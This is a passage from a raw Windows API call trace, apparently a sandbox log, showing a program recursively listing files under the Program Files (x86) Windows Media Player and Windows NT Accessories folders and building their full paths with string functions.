[0031.584] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.584] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.584] lstrcmpW (lpString1="mpvis.DLL", lpString2=".") returned 1 [0031.584] lstrcmpW (lpString1="mpvis.DLL", lpString2="..") returned 1 [0031.584] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0031.584] lstrlenW (lpString="mpvis.DLL") returned 9 [0031.584] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="mpvis.DLL" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL") returned="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL" [0031.584] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL") returned 53 [0031.584] lstrcpyW (in: lpString1=0x25e0c90, lpString2="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL") returned="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL" [0031.584] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.584] lstrcmpW (lpString1="Network Sharing", lpString2=".") returned 1 [0031.584] lstrcmpW (lpString1="Network Sharing", lpString2="..") returned 1 [0031.584] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0031.584] lstrlenW (lpString="Network Sharing") returned 15 [0031.584] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="Network Sharing" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing") returned="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing" [0031.584] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\") returned="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\" [0031.584] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\") returned 60 [0031.584] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\*" [0031.584] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.584] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.584] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.584] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.584] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.584] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.584] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.584] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.584] lstrcmpW (lpString1="routing.exe", lpString2=".") returned 1 [0031.584] lstrcmpW (lpString1="routing.exe", lpString2="..") returned 1 [0031.585] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0031.585] lstrlenW (lpString="routing.exe") returned 11 [0031.585] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="routing.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\routing.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\routing.exe" [0031.585] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\routing.exe") returned 55 [0031.585] lstrcpyW (in: lpString1=0x25e0d08, lpString2="c:\\Program Files (x86)\\Windows Media Player\\routing.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\routing.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\routing.exe" [0031.585] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.585] lstrcmpW (lpString1="setup_wm.exe", lpString2=".") returned 1 [0031.585] lstrcmpW (lpString1="setup_wm.exe", lpString2="..") returned 1 [0031.585] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0031.585] lstrlenW (lpString="setup_wm.exe") returned 12 [0031.585] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="setup_wm.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe" [0031.585] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe") returned 56 [0031.585] lstrcpyW (in: lpString1=0x25e5d40, lpString2="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe" [0031.585] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.585] lstrcmpW (lpString1="Skins", lpString2=".") returned 1 [0031.585] lstrcmpW (lpString1="Skins", lpString2="..") returned 1 [0031.585] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0031.585] lstrlenW (lpString="Skins") returned 5 [0031.585] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="Skins" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins") returned="c:\\Program Files (x86)\\Windows Media Player\\Skins" [0031.585] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\") returned="c:\\Program Files (x86)\\Windows Media Player\\Skins\\" [0031.585] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Skins\\") returned 50 [0031.585] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\Skins\\*" [0031.585] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\Skins\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.585] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.585] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.585] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.585] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.585] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.585] lstrcmpW (lpString1="Revert.wmz", lpString2=".") returned 1 [0031.585] lstrcmpW (lpString1="Revert.wmz", lpString2="..") returned 1 [0031.585] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Skins\\") returned 50 [0031.585] lstrlenW (lpString="Revert.wmz") returned 10 [0031.585] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\", lpString2="Revert.wmz" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz") returned="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz" [0031.585] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz") returned 60 [0031.585] lstrcpyW (in: lpString1=0x25e2688, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz") returned="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz" [0031.585] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.585] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.585] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.585] lstrcmpW (lpString1="Visualizations", lpString2=".") returned 1 [0031.585] lstrcmpW (lpString1="Visualizations", lpString2="..") returned 1 [0031.585] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0031.586] lstrlenW (lpString="Visualizations") returned 14 [0031.586] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="Visualizations" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Visualizations") returned="c:\\Program Files (x86)\\Windows Media Player\\Visualizations" [0031.586] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Visualizations", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\") returned="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\" [0031.586] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\") returned 59 [0031.586] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\*" [0031.586] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.586] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.586] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.586] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.586] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.586] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.586] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.586] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.586] lstrcmpW (lpString1="wmlaunch.exe", lpString2=".") returned 1 [0031.586] lstrcmpW (lpString1="wmlaunch.exe", lpString2="..") returned 1 [0031.586] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0031.586] lstrlenW (lpString="wmlaunch.exe") returned 12 [0031.586] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmlaunch.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe" [0031.586] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe") returned 56 [0031.586] lstrcpyW (in: lpString1=0x25e5dc0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe" [0031.586] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.586] lstrcmpW (lpString1="wmpconfig.exe", lpString2=".") returned 1 [0031.586] lstrcmpW (lpString1="wmpconfig.exe", lpString2="..") returned 1 [0031.586] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0031.586] lstrlenW (lpString="wmpconfig.exe") returned 13 [0031.586] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmpconfig.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe" [0031.586] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe") returned 57 [0031.586] lstrcpyW (in: lpString1=0x25e5e40, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe" [0031.586] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.586] lstrcmpW (lpString1="WMPDMC.exe", lpString2=".") returned 1 [0031.586] lstrcmpW (lpString1="WMPDMC.exe", lpString2="..") returned 1 [0031.586] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0031.586] lstrlenW (lpString="WMPDMC.exe") returned 10 [0031.586] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="WMPDMC.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe" [0031.586] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe") returned 54 [0031.586] lstrcpyW (in: lpString1=0x25e0d80, lpString2="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe" [0031.586] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.586] lstrcmpW (lpString1="WMPDMCCore.dll", lpString2=".") returned 1 [0031.586] lstrcmpW (lpString1="WMPDMCCore.dll", lpString2="..") returned 1 [0031.586] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0031.586] lstrlenW (lpString="WMPDMCCore.dll") returned 14 [0031.586] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="WMPDMCCore.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll" [0031.586] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll") returned 58 [0031.586] lstrcpyW (in: lpString1=0x25e5ec0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll" [0031.586] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.586] lstrcmpW (lpString1="wmpenc.exe", lpString2=".") returned 1 [0031.586] lstrcmpW (lpString1="wmpenc.exe", lpString2="..") returned 1 [0031.587] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0031.587] lstrlenW (lpString="wmpenc.exe") returned 10 [0031.587] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmpenc.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe" [0031.587] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe") returned 54 [0031.587] lstrcpyW (in: lpString1=0x25e0df8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe" [0031.587] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.587] lstrcmpW (lpString1="wmplayer.exe", lpString2=".") returned 1 [0031.587] lstrcmpW (lpString1="wmplayer.exe", lpString2="..") returned 1 [0031.587] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0031.587] lstrlenW (lpString="wmplayer.exe") returned 12 [0031.587] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmplayer.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe" [0031.587] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe") returned 56 [0031.587] lstrcpyW (in: lpString1=0x25e5f40, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe" [0031.587] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.587] lstrcmpW (lpString1="WMPMediaSharing.dll", lpString2=".") returned 1 [0031.587] lstrcmpW (lpString1="WMPMediaSharing.dll", lpString2="..") returned 1 [0031.587] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0031.587] lstrlenW (lpString="WMPMediaSharing.dll") returned 19 [0031.587] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="WMPMediaSharing.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll" [0031.587] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll") returned 63 [0031.587] lstrcpyW (in: lpString1=0x25e2710, lpString2="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll" [0031.587] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.587] lstrcmpW (lpString1="wmpnssci.dll", lpString2=".") returned 1 [0031.587] lstrcmpW (lpString1="wmpnssci.dll", lpString2="..") returned 1 [0031.587] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0031.587] lstrlenW (lpString="wmpnssci.dll") returned 12 [0031.587] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmpnssci.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll" [0031.587] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll") returned 56 [0031.587] lstrcpyW (in: lpString1=0x25e5fc0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll" [0031.587] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.587] lstrcmpW (lpString1="WMPNSSUI.dll", lpString2=".") returned 1 [0031.587] lstrcmpW (lpString1="WMPNSSUI.dll", lpString2="..") returned 1 [0031.587] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0031.587] lstrlenW (lpString="WMPNSSUI.dll") returned 12 [0031.587] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="WMPNSSUI.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll" [0031.587] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll") returned 56 [0031.587] lstrcpyW (in: lpString1=0x25e6040, lpString2="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll" [0031.587] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.587] lstrcmpW (lpString1="wmprph.exe", lpString2=".") returned 1 [0031.587] lstrcmpW (lpString1="wmprph.exe", lpString2="..") returned 1 [0031.587] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0031.587] lstrlenW (lpString="wmprph.exe") returned 10 [0031.587] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmprph.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe" [0031.587] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe") returned 54 [0031.587] lstrcpyW (in: lpString1=0x25e0e70, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe" [0031.587] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.587] lstrcmpW (lpString1="wmpshare.exe", lpString2=".") returned 1 [0031.587] lstrcmpW (lpString1="wmpshare.exe", lpString2="..") returned 1 [0031.587] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0031.587] lstrlenW (lpString="wmpshare.exe") returned 12 [0031.587] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmpshare.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe" [0031.587] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe") returned 56 [0031.588] lstrcpyW (in: lpString1=0x25e60c0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe" [0031.588] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.588] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.588] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.588] lstrcmpW (lpString1="Windows NT", lpString2=".") returned 1 [0031.588] lstrcmpW (lpString1="Windows NT", lpString2="..") returned 1 [0031.588] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0031.588] lstrlenW (lpString="Windows NT") returned 10 [0031.588] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows NT" | out: lpString1="c:\\Program Files (x86)\\Windows NT") returned="c:\\Program Files (x86)\\Windows NT" [0031.588] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\") returned="c:\\Program Files (x86)\\Windows NT\\" [0031.588] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\") returned 34 [0031.588] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\*") returned="c:\\Program Files (x86)\\Windows NT\\*" [0031.588] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows NT\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.588] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.588] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.588] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.588] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.588] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.588] lstrcmpW (lpString1="Accessories", lpString2=".") returned 1 [0031.588] lstrcmpW (lpString1="Accessories", lpString2="..") returned 1 [0031.588] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\") returned 34 [0031.588] lstrlenW (lpString="Accessories") returned 11 [0031.588] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\", lpString2="Accessories" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories") returned="c:\\Program Files (x86)\\Windows NT\\Accessories" [0031.588] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\" [0031.588] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\") returned 46 [0031.588] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\*") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\*" [0031.588] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows NT\\Accessories\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.588] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.588] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.588] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.588] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.588] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.588] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0031.588] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0031.588] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\") returned 46 [0031.588] lstrlenW (lpString="en-US") returned 5 [0031.588] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\en-US") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\en-US" [0031.588] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.588] lstrcmpW (lpString1="wordpad.exe", lpString2=".") returned 1 [0031.588] lstrcmpW (lpString1="wordpad.exe", lpString2="..") returned 1 [0031.588] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\") returned 46 [0031.588] lstrlenW (lpString="wordpad.exe") returned 11 [0031.588] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\", lpString2="wordpad.exe" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe" [0031.588] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe") returned 57 [0031.588] lstrcpyW (in: lpString1=0x25e6140, lpString2="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe" [0031.589] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.589] lstrcmpW (lpString1="WordpadFilter.dll", lpString2=".") returned 1 [0031.589] lstrcmpW (lpString1="WordpadFilter.dll", lpString2="..") returned 1 [0031.589] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\") returned 46 [0031.589] lstrlenW (lpString="WordpadFilter.dll") returned 17 [0031.589] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\", lpString2="WordpadFilter.dll" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll" [0031.589] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll") returned 63 [0031.589] lstrcpyW (in: lpString1=0x25e2798, lpString2="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll" [0031.589] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.589] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.589] FindNextFileW (in: hFindFile=0x775a70, 